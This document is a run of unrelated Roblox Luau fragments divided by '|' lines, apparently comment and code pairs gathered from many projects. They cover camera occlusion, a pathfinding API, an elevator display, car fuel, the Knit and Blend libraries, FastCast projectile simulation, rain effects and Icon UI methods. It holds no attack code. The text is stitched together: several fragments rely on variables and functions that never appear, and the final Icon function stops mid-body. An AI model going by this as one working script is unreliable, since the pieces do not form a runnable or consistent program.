local l__Players__2 = game:GetService("Players");
local v3, v4 = pcall(function()
return UserSettings():IsUserFeatureEnabled("UserPortraitPopperFix");
end);
local v5 = require(script.Parent:WaitForChild("BaseOcclusion"));
local v6 = setmetatable({}, v5);
v6.__index = v6;
function v6.new()
local v7 = setmetatable(v5.new(), v6);
v7.camera = nil;
v7.cameraSubjectChangeConn = nil;
v7.subjectPart = nil;
v7.playerCharacters = {};
v7.vehicleParts = {};
v7.lastPopAmount = 0;
v7.lastZoomLevel = 0;
v7.popperEnabled = false;
return v7;
end;
function v6.GetOcclusionMode(p1)
return Enum.DevCameraOcclusionMode.Zoom;
end;
function v6.Enable(p2, p3)
end;
function v6.CharacterAdded(p4, p5, p6)
p4.playerCharacters[p6] = p5;
end;
function v6.CharacterRemoving(p7, p8, p9)
p7.playerCharacters[p9] = nil;
end;
local u1 = v3 or v4;
function v6.Update(p10, p11, p12, p13)
if not p10.popperEnabled then
return p12, p13;
end;
p10.camera = game.Workspace.CurrentCamera;
local v8 = p12;
local v9 = p13.p;
if u1 and p10.subjectPart then
v9 = p10.subjectPart.CFrame.p;
end;
local v10 = {};
for v11, v12 in pairs(p10.playerCharacters) do
v10[#v10 + 1] = v12;
end;
for v13 = 1, #p10.vehicleParts do
v10[#v10 + 1] = p10.vehicleParts[v13];
end;
local l__CFrame__14 = p10.camera.CFrame;
p10.camera.CFrame = p12;
p10.camera.Focus = p13;
local l__Magnitude__15 = (p12.p - v9).Magnitude;
if math.abs(l__Magnitude__15 - p10.lastZoomLevel) > 0.001 then
p10.lastPopAmount = 0;
end;
local v16 = p10.camera:GetLargestCutoffDistance(v10);
if v16 < p10.lastPopAmount then
v16 = p10.lastPopAmount;
end;
if v16 > 0 then
v8 = p12 + p12.lookVector * v16;
p10.lastPopAmount = v16 - 0.3;
if p10.lastPopAmount < 0 then
p10.lastPopAmount = 0;
end;
end;
p10.lastZoomLevel = l__Magnitude__15;
return v8, p13;
end;
local u2 = { "Humanoid", "VehicleSeat", "SkateboardPlatform" };
function v6.OnCameraSubjectChanged(p14, p15)
p14.vehicleParts = {};
p14.lastPopAmount = 0;
if p15 then
p14.popperEnabled = false;
for v17, v18 in pairs(u2) do
if p15:IsA(v18) then
p14.popperEnabled = true;
break;
end;
end;
if p15:IsA("VehicleSeat") then
p14.vehicleParts = p15:GetConnectedParts(true);
end;
if u1 then
if p15:IsA("BasePart") then
p14.subjectPart = p15;
return;
end;
if p15:IsA("Model") then
if p15.PrimaryPart then
p14.subjectPart = p15.PrimaryPart;
return;
else
for v19, v20 in pairs(p15:GetChildren()) do
if v20:IsA("BasePart") then
p14.subjectPart = v20;
return;
end;
end;
return;
end;
elseif p15:IsA("Humanoid") then
p14.subjectPart = p15.RootPart;
end;
end;
end;
end;
return v6;
|
--[[
----------------------------------------------------------------------------------
API:
- pathfinder:FindPath()
- pathfinder:SetEmptyCutoff()
- path:GetPointCoordinates()
- path:CheckOcclusionAsync()
EXAMPLES:
- pathfinder = require(game.ServerScriptService.Pathfinder)
- path = pathfinder:FindPath(startPosition, endPosition)
- points = path:GetPointCoordinates()
- index = path:CheckOcclusionAsync(startIndex)
- pathfinder:SetEmptyCutoff(ratio)
----------------------------------------------------------------------------------
HOW TO USE -- Example Code:
local pathfinder = require(game.ServerScriptService.Pathfinder)
local points, status = pathfinder:FindPath(startPosition, endPosition)
-- Where 'startPosition' and 'endPosition' are Vector3 values that
-- represent the start and end positions of the path.
----------------------------------------------------------------------------------
BENEFITS OVER PATHFINDINGSERVICE:
- Simplified path. Instead of having tons of points for every step
of the way, this API will simplify the path by only keeping the
important points: the start/end points for each straight or
diagonal line.
- No distance cap. You can find a path between as far of a distance
as you want. The API will connect multiple max-length paths from
the PathfindingService for you and return a single list of points.
--]]
|
local Pathfinder = {}
local API = {}
local MT = {}
|
-- send helicopter's engine and the health value obj to server to start repairng
-- send nil to server to cancel repair
| |
--[=[
Promises a player userName with retries enabled.
@param userId number
@return Promise<string>
]=]
|
function PlayerThumbnailUtils.promiseUserName(userId)
assert(type(userId) == "number", "Bad userId")
local promise
promise = Promise.spawn(function(resolve, reject)
local tries = 0
repeat
tries = tries + 1
local name
local ok, err = pcall(function()
name = Players:GetNameFromUserIdAsync(userId)
end)
-- Don't retry if we immediately error (timeout exceptions!)
if not ok then
return reject(err)
end
if type(name) == "string" then
return resolve(name)
else
task.wait(0.05)
end
until tries >= MAX_TRIES or (not promise:IsPending())
reject()
end)
return promise
end
return PlayerThumbnailUtils
|
---------------------------------------------------
|
This = script.Parent
Elevator = This.Parent.Parent.Parent
CustomLabel = require(This.Parent.Parent.Parent.CustomLabel)
Characters = require(script.Characters)
ArwTime = 0.2
CustomText = CustomLabel["CUSTOMFLOORLABEL"]
Elevator:WaitForChild("Floor").Changed:connect(function(floor)
--custom indicator code--
ChangeFloor(tostring(floor))
end)
function ChangeFloor(SF)
if CustomText[tonumber(SF)] then
SF = CustomText[tonumber(SF)]
end
SetDisplay(1,(string.len(SF) == 2 and SF:sub(1,1) or "NIL"))
SetDisplay(2,(string.len(SF) == 2 and SF:sub(2,2) or SF))
end
function SetDisplay(ID,CHAR)
if This.Display:FindFirstChild("DIG"..ID) and Characters[CHAR] ~= nil then
for i,l in pairs(Characters[CHAR]) do
for r=1,43 do
This.Display["DIG"..ID]["D"..r].Transparency = (l:sub(r,r) == "1" and 0 or 0.95)
end
end
end
end
while wait() do
if Elevator:WaitForChild("MotorMode").Value ~= "idle" then
if Elevator:WaitForChild("Direction").Value == 1 then
This.Display.ARW1.U1.Transparency = 0.8
This.Display.ARW1.U2.Transparency = 0.4
This.Display.ARW1.U3.Transparency = 0
This.Display.ARW1.D1.Transparency = 1
This.Display.ARW1.D2.Transparency = 1
This.Display.ARW1.D3.Transparency = 1
wait(ArwTime)
This.Display.ARW1.U1.Transparency = 1
This.Display.ARW1.U2.Transparency = 0.8
This.Display.ARW1.U3.Transparency = 0.4
This.Display.ARW1.D1.Transparency = 1
This.Display.ARW1.D2.Transparency = 1
This.Display.ARW1.D3.Transparency = 1
wait(ArwTime)
This.Display.ARW1.U1.Transparency = 1
This.Display.ARW1.U2.Transparency = 1
This.Display.ARW1.U3.Transparency = 0.8
This.Display.ARW1.D1.Transparency = 1
This.Display.ARW1.D2.Transparency = 1
This.Display.ARW1.D3.Transparency = 1
wait(ArwTime)
This.Display.ARW1.U1.Transparency = 1
This.Display.ARW1.U2.Transparency = 1
This.Display.ARW1.U3.Transparency = 1
This.Display.ARW1.D1.Transparency = 1
This.Display.ARW1.D2.Transparency = 1
This.Display.ARW1.D3.Transparency = 1
wait(ArwTime)
This.Display.ARW1.U1.Transparency = 0
This.Display.ARW1.U2.Transparency = 1
This.Display.ARW1.U3.Transparency = 1
This.Display.ARW1.D1.Transparency = 1
This.Display.ARW1.D2.Transparency = 1
This.Display.ARW1.D3.Transparency = 1
wait(ArwTime)
This.Display.ARW1.U1.Transparency = 0.4
This.Display.ARW1.U2.Transparency = 0
This.Display.ARW1.U3.Transparency = 1
This.Display.ARW1.D1.Transparency = 1
This.Display.ARW1.D2.Transparency = 1
This.Display.ARW1.D3.Transparency = 1
wait(ArwTime)
elseif Elevator:WaitForChild("Direction").Value == -1 then
This.Display.ARW1.U1.Transparency = 1
This.Display.ARW1.U2.Transparency = 1
This.Display.ARW1.U3.Transparency = 1
This.Display.ARW1.D1.Transparency = 0.8
This.Display.ARW1.D2.Transparency = 0.4
This.Display.ARW1.D3.Transparency = 0
wait(ArwTime)
This.Display.ARW1.U1.Transparency = 1
This.Display.ARW1.U2.Transparency = 1
This.Display.ARW1.U3.Transparency = 1
This.Display.ARW1.D1.Transparency = 1
This.Display.ARW1.D2.Transparency = 0.8
This.Display.ARW1.D3.Transparency = 0.4
wait(ArwTime)
This.Display.ARW1.U1.Transparency = 1
This.Display.ARW1.U2.Transparency = 1
This.Display.ARW1.U3.Transparency = 1
This.Display.ARW1.D1.Transparency = 1
This.Display.ARW1.D2.Transparency = 1
This.Display.ARW1.D3.Transparency = 0.8
wait(ArwTime)
This.Display.ARW1.U1.Transparency = 1
This.Display.ARW1.U2.Transparency = 1
This.Display.ARW1.U3.Transparency = 1
This.Display.ARW1.D1.Transparency = 1
This.Display.ARW1.D2.Transparency = 1
This.Display.ARW1.D3.Transparency = 1
wait(ArwTime)
This.Display.ARW1.U1.Transparency = 1
This.Display.ARW1.U2.Transparency = 1
This.Display.ARW1.U3.Transparency = 1
This.Display.ARW1.D1.Transparency = 0
This.Display.ARW1.D2.Transparency = 1
This.Display.ARW1.D3.Transparency = 1
wait(ArwTime)
This.Display.ARW1.U1.Transparency = 1
This.Display.ARW1.U2.Transparency = 1
This.Display.ARW1.U3.Transparency = 1
This.Display.ARW1.D1.Transparency = 0.4
This.Display.ARW1.D2.Transparency = 0
This.Display.ARW1.D3.Transparency = 1
wait(ArwTime)
else
This.Display.ARW1.U1.Transparency = 1
This.Display.ARW1.U2.Transparency = 1
This.Display.ARW1.U3.Transparency = 1
This.Display.ARW1.D1.Transparency = 1
This.Display.ARW1.D2.Transparency = 1
This.Display.ARW1.D3.Transparency = 1
end
else
if Elevator:WaitForChild("Direction").Value == 1 then
This.Display.ARW1.U1.Transparency = 0.8
This.Display.ARW1.U2.Transparency = 0.4
This.Display.ARW1.U3.Transparency = 0
This.Display.ARW1.D1.Transparency = 1
This.Display.ARW1.D2.Transparency = 1
This.Display.ARW1.D3.Transparency = 1
elseif Elevator:WaitForChild("Direction").Value == -1 then
This.Display.ARW1.U1.Transparency = 1
This.Display.ARW1.U2.Transparency = 1
This.Display.ARW1.U3.Transparency = 1
This.Display.ARW1.D1.Transparency = 0.8
This.Display.ARW1.D2.Transparency = 0.4
This.Display.ARW1.D3.Transparency = 0
else
This.Display.ARW1.U1.Transparency = 1
This.Display.ARW1.U2.Transparency = 1
This.Display.ARW1.U3.Transparency = 1
This.Display.ARW1.D1.Transparency = 1
This.Display.ARW1.D2.Transparency = 1
This.Display.ARW1.D3.Transparency = 1
end
end
if Elevator:WaitForChild("Mode").Value ~= "auto" then
This.Legend.SurfaceGui.Enabled = true
else
This.Legend.SurfaceGui.Enabled = false
end
end
|
--//Script
--Plaka()
|
CarColor()
Stats.Locked.Changed:Connect(function()
ToogleLock(Stats.Locked.Value)
end)
Stats.Color.Changed:Connect(function()
CarColor()
end)
Fuel = script.Parent.Parent.Stats.Fuel
MainPart = script.Parent.Parent.Body.Main
while wait(.5) do
if oldpos == nil then
oldpos = MainPart.Position
else
newpos = MainPart.Position
Fuel.Value = Fuel.Value - (oldpos - newpos).Magnitude/150
oldpos = newpos
end
end
|
--Editable Values
|
local Drag = .32 --Drag Coefficient
local F = 105 --Downforce at 300 SPS
local R = 100 --Downforce at 300 SPS
local Vol = 1
|
--[=[
@return PROPERTY_MARKER
Returns a marker that will transform the current key into
a RemoteProperty once the service is created. Should only
be called within the Client table of a service. An initial
value can be passed along as well.
RemoteProperties are great for replicating data to all of
the clients. Different data can also be set per client.
See [RemoteProperty](https://sleitnick.github.io/RbxUtil/api/RemoteProperty)
documentation for more info.
```lua
local MyService = Knit.CreateService {
Name = "MyService";
Client = {
-- Create the property marker, which will turn into a
-- RemoteProperty when Knit.Start() is called:
MyProperty = Knit.CreateProperty("HelloWorld")
}
}
function MyService:KnitInit()
-- Change the value of the property:
self.Client.MyProperty:Set("HelloWorldAgain")
end
```
]=]
|
function KnitServer.CreateProperty(initialValue: any)
return {PROPERTY_MARKER, initialValue}
end
|
-- When supplied, legacyCameraType is used and cameraMovementMode is ignored (should be nil anyways)
-- Next, if userCameraCreator is passed in, that is used as the cameraCreator
|
function CameraModule:ActivateCameraController(cameraMovementMode, legacyCameraType)
local newCameraCreator = nil
if legacyCameraType~=nil then
--[[
This function has been passed a CameraType enum value. Some of these map to the use of
the LegacyCamera module, the value "Custom" will be translated to a movementMode enum
value based on Dev and User settings, and "Scriptable" will disable the camera controller.
--]]
if legacyCameraType == Enum.CameraType.Scriptable then
if self.activeCameraController then
self.activeCameraController:Enable(false)
self.activeCameraController = nil
return
end
elseif legacyCameraType == Enum.CameraType.Custom then
cameraMovementMode = self:GetCameraMovementModeFromSettings()
elseif legacyCameraType == Enum.CameraType.Track then
-- Note: The TrackCamera module was basically an older, less fully-featured
-- version of ClassicCamera, no longer actively maintained, but it is re-implemented in
-- case a game was dependent on its lack of ClassicCamera's extra functionality.
cameraMovementMode = Enum.ComputerCameraMovementMode.Classic
elseif legacyCameraType == Enum.CameraType.Follow then
cameraMovementMode = Enum.ComputerCameraMovementMode.Follow
elseif legacyCameraType == Enum.CameraType.Orbital then
cameraMovementMode = Enum.ComputerCameraMovementMode.Orbital
elseif legacyCameraType == Enum.CameraType.Attach or
legacyCameraType == Enum.CameraType.Watch or
legacyCameraType == Enum.CameraType.Fixed then
newCameraCreator = LegacyCamera
else
warn("CameraScript encountered an unhandled Camera.CameraType value: ",legacyCameraType)
end
end
if not newCameraCreator then
if cameraMovementMode == Enum.ComputerCameraMovementMode.Classic or
cameraMovementMode == Enum.ComputerCameraMovementMode.Follow or
cameraMovementMode == Enum.ComputerCameraMovementMode.Default or
cameraMovementMode == Enum.ComputerCameraMovementMode.CameraToggle then
newCameraCreator = ClassicCamera
elseif cameraMovementMode == Enum.ComputerCameraMovementMode.Orbital then
newCameraCreator = OrbitalCamera
else
--warn("ActivateCameraController did not select a module.")
return
end
end
local isVehicleCamera = self:ShouldUseVehicleCamera()
if isVehicleCamera then
newCameraCreator = VehicleCamera
end
-- Create the camera control module we need if it does not already exist in instantiatedCameraControllers
local newCameraController
if not instantiatedCameraControllers[newCameraCreator] then
newCameraController = newCameraCreator.new()
instantiatedCameraControllers[newCameraCreator] = newCameraController
else
newCameraController = instantiatedCameraControllers[newCameraCreator]
if newCameraController.Reset then
newCameraController:Reset()
end
end
if self.activeCameraController then
-- deactivate the old controller and activate the new one
if self.activeCameraController ~= newCameraController then
self.activeCameraController:Enable(false)
self.activeCameraController = newCameraController
self.activeCameraController:Enable(true)
elseif not self.activeCameraController:GetEnabled() then
self.activeCameraController:Enable(true)
end
elseif newCameraController ~= nil then
-- only activate the new controller
self.activeCameraController = newCameraController
self.activeCameraController:Enable(true)
end
if self.activeCameraController then
if cameraMovementMode~=nil then
self.activeCameraController:SetCameraMovementMode(cameraMovementMode)
elseif legacyCameraType~=nil then
-- Note that this is only called when legacyCameraType is not a type that
-- was convertible to a ComputerCameraMovementMode value, i.e. really only applies to LegacyCamera
self.activeCameraController:SetCameraType(legacyCameraType)
end
end
end
|
--[=[
Mounts children to the parent and returns an object which will cleanup and delete
all children when removed.
Note that this effectively recursively mounts children and their values, which is
the heart of the reactive tree.
```lua
Blend.New "ScreenGui" {
Parent = game.Players.LocalPlayer.PlayerGui;
[Blend.Children] = {
Blend.New "Frame" {
Size = UDim2.new(1, 0, 1, 0);
BackgroundTransparency = 0.5;
};
};
};
```
Rules:
* `{ Instance }` -Tables of instances are all parented to the parent
* Brio<Instance> will last for the lifetime of the brio
* Brio<Observable<Instance>> will last for the lifetime of the brio
* Brio<Signal<Instance>> will also act as above
* Brio<Promise<Instance>> will also act as above
* Brio<{ Instance } will also act as above
* Observable<Instance> will parent to the parent
* Signal<Instance> will act as Observable<Instance>
* ValueObject<Instance> will act as an Observable<Instance>
* Promise<Instance> will act as an Observable<Instance>
* will parent all instances to the parent
* Observables may emit non-observables (in form of Computed/Dynamic)
* Observable<Brio<Instance>> will last for the lifetime of the brio, and parent the instance.
* Observable<Observable<Instance>> occurs when computed returns a value.
* ValueObject<Instance> will switch to the current value
Cleanup:
* Instances will be cleaned up on unsubscribe
@param parent Instance
@param value any
@return MaidTask
]=]
|
function Blend.Children(parent, value)
assert(typeof(parent) == "Instance", "Bad parent")
local observe = Blend._observeChildren(value)
if observe then
return observe:Pipe({
Rx.tap(function(child)
child.Parent = parent;
end);
})
else
return Rx.EMPTY
end
end
|
----- Script: -----
|
Button.Activated:Connect(function()
if Information.Case.Value == 0 then
Messages.Type.SelectPackage.Value = true
Messages.FireMessage.Value = true
elseif Information.Case.Value == 1 then
BuyCaseEvents.Case1:FireServer(Information.PricePoints.Value,Information.PriceGems.Value,false)
end
end)
|
-- Ctor
|
function ActiveCastStatic.new(caster: Caster, origin: Vector3, direction: Vector3, velocity: Vector3 | number, castDataPacket: FastCastBehavior): ActiveCast
if typeof(velocity) == "number" then
velocity = direction.Unit * velocity
end
if (castDataPacket.HighFidelitySegmentSize <= 0) then
error("Cannot set FastCastBehavior.HighFidelitySegmentSize <= 0!", 0)
end
-- Basic setup
local cast = {
Caster = caster,
-- Data that keeps track of what's going on as well as edits we might make during runtime.
StateInfo = {
UpdateConnection = nil,
Paused = false,
TotalRuntime = 0,
DistanceCovered = 0,
HighFidelitySegmentSize = castDataPacket.HighFidelitySegmentSize,
HighFidelityBehavior = castDataPacket.HighFidelityBehavior,
IsActivelySimulatingPierce = false,
IsActivelyResimulating = false,
CancelHighResCast = false,
Trajectories = {
{
StartTime = 0,
EndTime = -1,
Origin = origin,
InitialVelocity = velocity,
Acceleration = castDataPacket.Acceleration
}
}
},
-- Information pertaining to actual raycasting.
RayInfo = {
Parameters = castDataPacket.RaycastParams,
WorldRoot = workspace,
MaxDistance = castDataPacket.MaxDistance or 1000,
CosmeticBulletObject = castDataPacket.CosmeticBulletTemplate, -- This is intended. We clone it a smidge of the way down.
CanPierceCallback = castDataPacket.CanPierceFunction
},
UserData = {}
}
if cast.StateInfo.HighFidelityBehavior == 2 then
cast.StateInfo.HighFidelityBehavior = 3
end
if cast.RayInfo.Parameters ~= nil then
cast.RayInfo.Parameters = CloneCastParams(cast.RayInfo.Parameters)
else
cast.RayInfo.Parameters = RaycastParams.new()
end
local usingProvider = false
if castDataPacket.CosmeticBulletProvider == nil then
-- The provider is nil. Use a cosmetic object clone.
if cast.RayInfo.CosmeticBulletObject ~= nil then
cast.RayInfo.CosmeticBulletObject = cast.RayInfo.CosmeticBulletObject:Clone()
cast.RayInfo.CosmeticBulletObject.CFrame = CFrame.new(origin, origin + direction)
cast.RayInfo.CosmeticBulletObject.Parent = castDataPacket.CosmeticBulletContainer
end
else
-- The provider is not nil.
-- Is it what we want?
if typeof(castDataPacket.CosmeticBulletProvider) == "PartCache" then
-- this modded version of typeof is implemented up top.
-- Aside from that, yes, it's a part cache. Good to go!
if cast.RayInfo.CosmeticBulletObject ~= nil then
-- They also set the template. Not good. Warn + clear this up.
warn("Do not define FastCastBehavior.CosmeticBulletTemplate and FastCastBehavior.CosmeticBulletProvider at the same time! The provider will be used, and CosmeticBulletTemplate will be set to nil.")
cast.RayInfo.CosmeticBulletObject = nil
castDataPacket.CosmeticBulletTemplate = nil
end
cast.RayInfo.CosmeticBulletObject = castDataPacket.CosmeticBulletProvider:GetPart()
cast.RayInfo.CosmeticBulletObject.CFrame = CFrame.new(origin, origin + direction)
usingProvider = true
else
warn("FastCastBehavior.CosmeticBulletProvider was not an instance of the PartCache module (an external/separate model)! Are you inputting an instance created via PartCache.new? If so, are you on the latest version of PartCache? Setting FastCastBehavior.CosmeticBulletProvider to nil.")
castDataPacket.CosmeticBulletProvider = nil
end
end
local targetContainer: Instance;
if usingProvider then
targetContainer = castDataPacket.CosmeticBulletProvider.CurrentCacheParent
else
targetContainer = castDataPacket.CosmeticBulletContainer
end
if castDataPacket.AutoIgnoreContainer == true and targetContainer ~= nil then
local ignoreList = cast.RayInfo.Parameters.FilterDescendantsInstances
if table.find(ignoreList, targetContainer) == nil then
table.insert(ignoreList, targetContainer)
cast.RayInfo.Parameters.FilterDescendantsInstances = ignoreList
end
end
local event
if RunService:IsClient() then
event = RunService.RenderStepped
else
event = RunService.Heartbeat
end
setmetatable(cast, ActiveCastStatic)
cast.StateInfo.UpdateConnection = event:Connect(function (delta)
if cast.StateInfo.Paused then return end
PrintDebug("Casting for frame.")
local latestTrajectory = cast.StateInfo.Trajectories[#cast.StateInfo.Trajectories]
if (cast.StateInfo.HighFidelityBehavior == 3 and latestTrajectory.Acceleration ~= Vector3.new() and cast.StateInfo.HighFidelitySegmentSize > 0) then
local timeAtStart = tick()
if cast.StateInfo.IsActivelyResimulating then
cast:Terminate()
error("Cascading cast lag encountered! The caster attempted to perform a high fidelity cast before the previous one completed, resulting in exponential cast lag. Consider increasing HighFidelitySegmentSize.")
end
cast.StateInfo.IsActivelyResimulating = true
-- Actually want to calculate this early to find displacement
local origin = latestTrajectory.Origin
local totalDelta = cast.StateInfo.TotalRuntime - latestTrajectory.StartTime
local initialVelocity = latestTrajectory.InitialVelocity
local acceleration = latestTrajectory.Acceleration
local lastPoint = GetPositionAtTime(totalDelta, origin, initialVelocity, acceleration)
local lastVelocity = GetVelocityAtTime(totalDelta, initialVelocity, acceleration)
local lastDelta = cast.StateInfo.TotalRuntime - latestTrajectory.StartTime
cast.StateInfo.TotalRuntime += delta
-- Recalculate this.
totalDelta = cast.StateInfo.TotalRuntime - latestTrajectory.StartTime
local currentPoint = GetPositionAtTime(totalDelta, origin, initialVelocity, acceleration)
local currentVelocity = GetVelocityAtTime(totalDelta, initialVelocity, acceleration)
local totalDisplacement = currentPoint - lastPoint -- This is the displacement from where the ray was on the last from to where the ray is now.
local rayDir = totalDisplacement.Unit * currentVelocity.Magnitude * delta
local targetWorldRoot = cast.RayInfo.WorldRoot
local resultOfCast = targetWorldRoot:Raycast(lastPoint, rayDir, cast.RayInfo.Parameters)
local point = currentPoint
if (resultOfCast ~= nil) then
point = resultOfCast.Position
end
local rayDisplacement = (point - lastPoint).Magnitude
-- Now undo this. The line below in the for loop will add this time back gradually.
cast.StateInfo.TotalRuntime -= delta
-- And now that we have displacement, we can calculate segment size.
local numSegmentsDecimal = rayDisplacement / cast.StateInfo.HighFidelitySegmentSize -- say rayDisplacement is 5.1, segment size is 0.5 -- 10.2 segments
local numSegmentsReal = math.floor(numSegmentsDecimal) -- 10 segments + 0.2 extra segments
if (numSegmentsReal == 0) then
numSegmentsReal = 1
end
local timeIncrement = delta / numSegmentsReal
for segmentIndex = 1, numSegmentsReal do
if getmetatable(cast) == nil then return end -- Could have been disposed.
if cast.StateInfo.CancelHighResCast then
cast.StateInfo.CancelHighResCast = false
break
end
PrintDebug("[" .. segmentIndex .. "] Subcast of time increment " .. timeIncrement)
SimulateCast(cast, timeIncrement, true)
end
if getmetatable(cast) == nil then return end -- Could have been disposed.
cast.StateInfo.IsActivelyResimulating = false
if (tick() - timeAtStart) > 0.016 * 5 then
warn("Extreme cast lag encountered! Consider increasing HighFidelitySegmentSize.")
end
else
SimulateCast(cast, delta, false)
end
end)
return cast
end
function ActiveCastStatic.SetStaticFastCastReference(ref)
FastCast = ref
end
|
-- Carregue a animação no animador
|
local idleAnimationTrack = animator:LoadAnimation(idleAnimation)
|
--Made by Luckymaxer
|
Players = game:GetService("Players")
Debris = game:GetService("Debris")
Functions = {}
function Functions.IsTeamMate(Player1, Player2)
return (Player1 and Player2 and not Player1.Neutral and not Player2.Neutral and Player1.TeamColor == Player2.TeamColor)
end
function Functions.TagHumanoid(humanoid, player)
local Creator_Tag = Instance.new("ObjectValue")
Creator_Tag.Name = "creator"
Creator_Tag.Value = player
Debris:AddItem(Creator_Tag, 2)
Creator_Tag.Parent = humanoid
end
function Functions.UntagHumanoid(humanoid)
for i, v in pairs(humanoid:GetChildren()) do
if v:IsA("ObjectValue") and v.Name == "creator" then
v:Destroy()
end
end
end
return Functions
|
------------------------------------------------------------------------
-- Expression parsing starts here. Function subexpr is entered with the
-- left operator (which is non-existent) priority of -1, which is lower
-- than all actual operators. Expr information is returned in parm v.
-- * used in multiple locations
------------------------------------------------------------------------
|
function luaY:expr(ls, v)
self:subexpr(ls, v, 0)
end
|
-- loop to handle timed state transitions
|
while Character.Parent ~= nil do
local currentGameTime = wait(0.1)
stepAnimate(currentGameTime)
end
|
-- part3.Anchored = true
|
part3.Position = Vector3.new(x3,1.5,z3)
|
-- Make a base cosmetic bullet object. This will be cloned every time we fire off a ray.
|
local CosmeticBullet = Instance.new("Part")
CosmeticBullet.Material = Enum.Material.Neon
CosmeticBullet.Color = Color3.fromRGB(8, 255, 8)
CosmeticBullet.CanCollide = false
CosmeticBullet.Anchored = true
CosmeticBullet.Size = Vector3.new(0.75, 0.75, 2.4)
|
--!GENERATED
|
local Rain = require(script.Rain)
Rain:SetColor(Color3.fromRGB(script.Color.Value.x, script.Color.Value.y, script.Color.Value.z))
Rain:SetDirection(script.Direction.Value)
Rain:SetTransparency(script.Transparency.Value)
Rain:SetSpeedRatio(script.SpeedRatio.Value)
Rain:SetIntensityRatio(script.IntensityRatio.Value)
Rain:SetLightInfluence(script.LightInfluence.Value)
Rain:SetLightEmission(script.LightEmission.Value)
Rain:SetVolume(script.Volume.Value)
Rain:SetSoundId(script.SoundId.Value)
Rain:SetStraightTexture(script.StraightTexture.Value)
Rain:SetTopDownTexture(script.TopDownTexture.Value)
Rain:SetSplashTexture(script.SplashTexture.Value)
local threshold = script.TransparencyThreshold.Value
if script.TransparencyConstraint.Value and script.CanCollideConstraint.Value then
Rain:SetCollisionMode(
Rain.CollisionMode.Function,
function(p)
return p.Transparency <= threshold and p.CanCollide
end
)
elseif script.TransparencyConstraint.Value then
Rain:SetCollisionMode(
Rain.CollisionMode.Function,
function(p)
return p.Transparency <= threshold
end
)
elseif script.CanCollideConstraint.Value then
Rain:SetCollisionMode(
Rain.CollisionMode.Function,
function(p)
return p.CanCollide
end
)
end
Rain:Enable()
|
------------------
--SPAWNING--
------------------
-- credit to miked
|
miked=script.Parent
itlh=miked.Torso:findFirstChild("Left Hip")
itlh.Part0=miked.Torso
itlh.Part1=miked:findFirstChild("Left Leg")
itlh.C0=CFrame.new(-1, -1, 0, 0, 0, -1, 0, 1, 0, 1, 0, 0)
itrh=miked.Torso:findFirstChild("Right Hip")
itrh.Part0=miked.Torso
itrh.Part1=miked:findFirstChild("Right Leg")
itrh.C0=CFrame.new(1, -1, 0, 0, 0, 1, 0, 1, 0, -1, 0, 0)
itls=miked.Torso:findFirstChild("Left Shoulder")
itls.Part1=miked.Torso
itls.C0=CFrame.new(2, 0.5, 0, 0, 0, -1, 0, 1, 0, 1, 0, 0)
itls.Part0=miked:findFirstChild("Left Arm")
itrs=miked.Torso:findFirstChild("Right Shoulder")
itrs.Part1=miked.Torso
itrs.C0=CFrame.new(-2, 0.5, 0, 0, 0, 1, 0, 1, 0, -1, 0, 0)
itrs.Part0=miked:findFirstChild("Right Arm")
miked.Head:makeJoints()
|
-- TOGGLEABLE METHODS
|
function Icon:setLabel(text, iconState)
text = text or ""
self:set("iconText", text, iconState)
return self
end
function Icon:setCornerRadius(scale, offset, iconState)
local oldCornerRadius = self.instances.iconCorner.CornerRadius
local newCornerRadius = UDim.new(scale or oldCornerRadius.Scale, offset or oldCornerRadius.Offset)
self:set("iconCornerRadius", newCornerRadius, iconState)
return self
end
function Icon:setImage(imageId, iconState)
local textureId = (tonumber(imageId) and "http://www.roblox.com/asset/?id="..imageId) or imageId or ""
return self:set("iconImage", textureId, iconState)
end
function Icon:setOrder(order, iconState)
local newOrder = tonumber(order) or 1
return self:set("order", newOrder, iconState)
end
function Icon:setLeft(iconState)
return self:set("alignment", "left", iconState)
end
function Icon:setMid(iconState)
return self:set("alignment", "mid", iconState)
end
function Icon:setRight(iconState)
if not self.internalIcon then
IconController.setupHealthbar()
end
return self:set("alignment", "right", iconState)
end
function Icon:setImageYScale(YScale, iconState)
local newYScale = tonumber(YScale) or 0.63
return self:set("iconImageYScale", newYScale, iconState)
end
function Icon:setImageRatio(ratio, iconState)
local newRatio = tonumber(ratio) or 1
return self:set("iconImageRatio", newRatio, iconState)
end
function Icon:setLabelYScale(YScale, iconState)
local newYScale = tonumber(YScale) or 0.45
return self:set("iconLabelYScale", newYScale, iconState)
end
function Icon:setBaseZIndex(ZIndex, iconState)
local newBaseZIndex = tonumber(ZIndex) or 1
return self:set("baseZIndex", newBaseZIndex, iconState)
end
function Icon:_updateBaseZIndex(baseValue)
local container = self.instances.iconContainer
local newBaseValue = tonumber(baseValue) or container.ZIndex
local difference = newBaseValue - container.ZIndex
if difference == 0 then return "The baseValue is the same" end
for _, object in pairs(self.instances) do
object.ZIndex = object.ZIndex + difference
end
return true
end
function Icon:setSize(XOffset, YOffset, iconState)
local newXOffset = tonumber(XOffset) or 32
local newYOffset = tonumber(YOffset) or newXOffset
self:set("forcedIconSize", UDim2.new(0, newXOffset, 0, newYOffset), iconState)
self:set("iconSize", UDim2.new(0, newXOffset, 0, newYOffset), iconState)
return self
end
function Icon:_updateIconSize(_, iconState)
if self._destroyed then return end
-- This is responsible for handling the appearance and size of the icons label and image, in additon to its own size
local X_MARGIN = 12
local X_GAP = 8
local values = {
iconImage = self:get("iconImage", iconState) or "_NIL",
iconText = self:get("iconText", iconState) or "_NIL",
iconFont = self:get("iconFont", iconState) or "_NIL",
iconSize = self:get("iconSize", iconState) or "_NIL",
forcedIconSize = self:get("forcedIconSize", iconState) or "_NIL",
iconImageYScale = self:get("iconImageYScale", iconState) or "_NIL",
iconImageRatio = self:get("iconImageRatio", iconState) or "_NIL",
iconLabelYScale = self:get("iconLabelYScale", iconState) or "_NIL",
}
for k,v in pairs(values) do
if v == "_NIL" then
return
end
end
local iconContainer = self.instances.iconContainer
if not iconContainer.Parent then return end
-- We calculate the cells dimensions as apposed to reading because there's a possibility the cells dimensions were changed at the exact time and have not yet updated
-- this essentially saves us from waiting a heartbeat which causes additonal complications
local cellSizeXOffset = values.iconSize.X.Offset
local cellSizeXScale = values.iconSize.X.Scale
local cellWidth = cellSizeXOffset + (cellSizeXScale * iconContainer.Parent.AbsoluteSize.X)
local minCellWidth = values.forcedIconSize.X.Offset--cellWidth
local maxCellWidth = (cellSizeXScale > 0 and cellWidth) or 9999
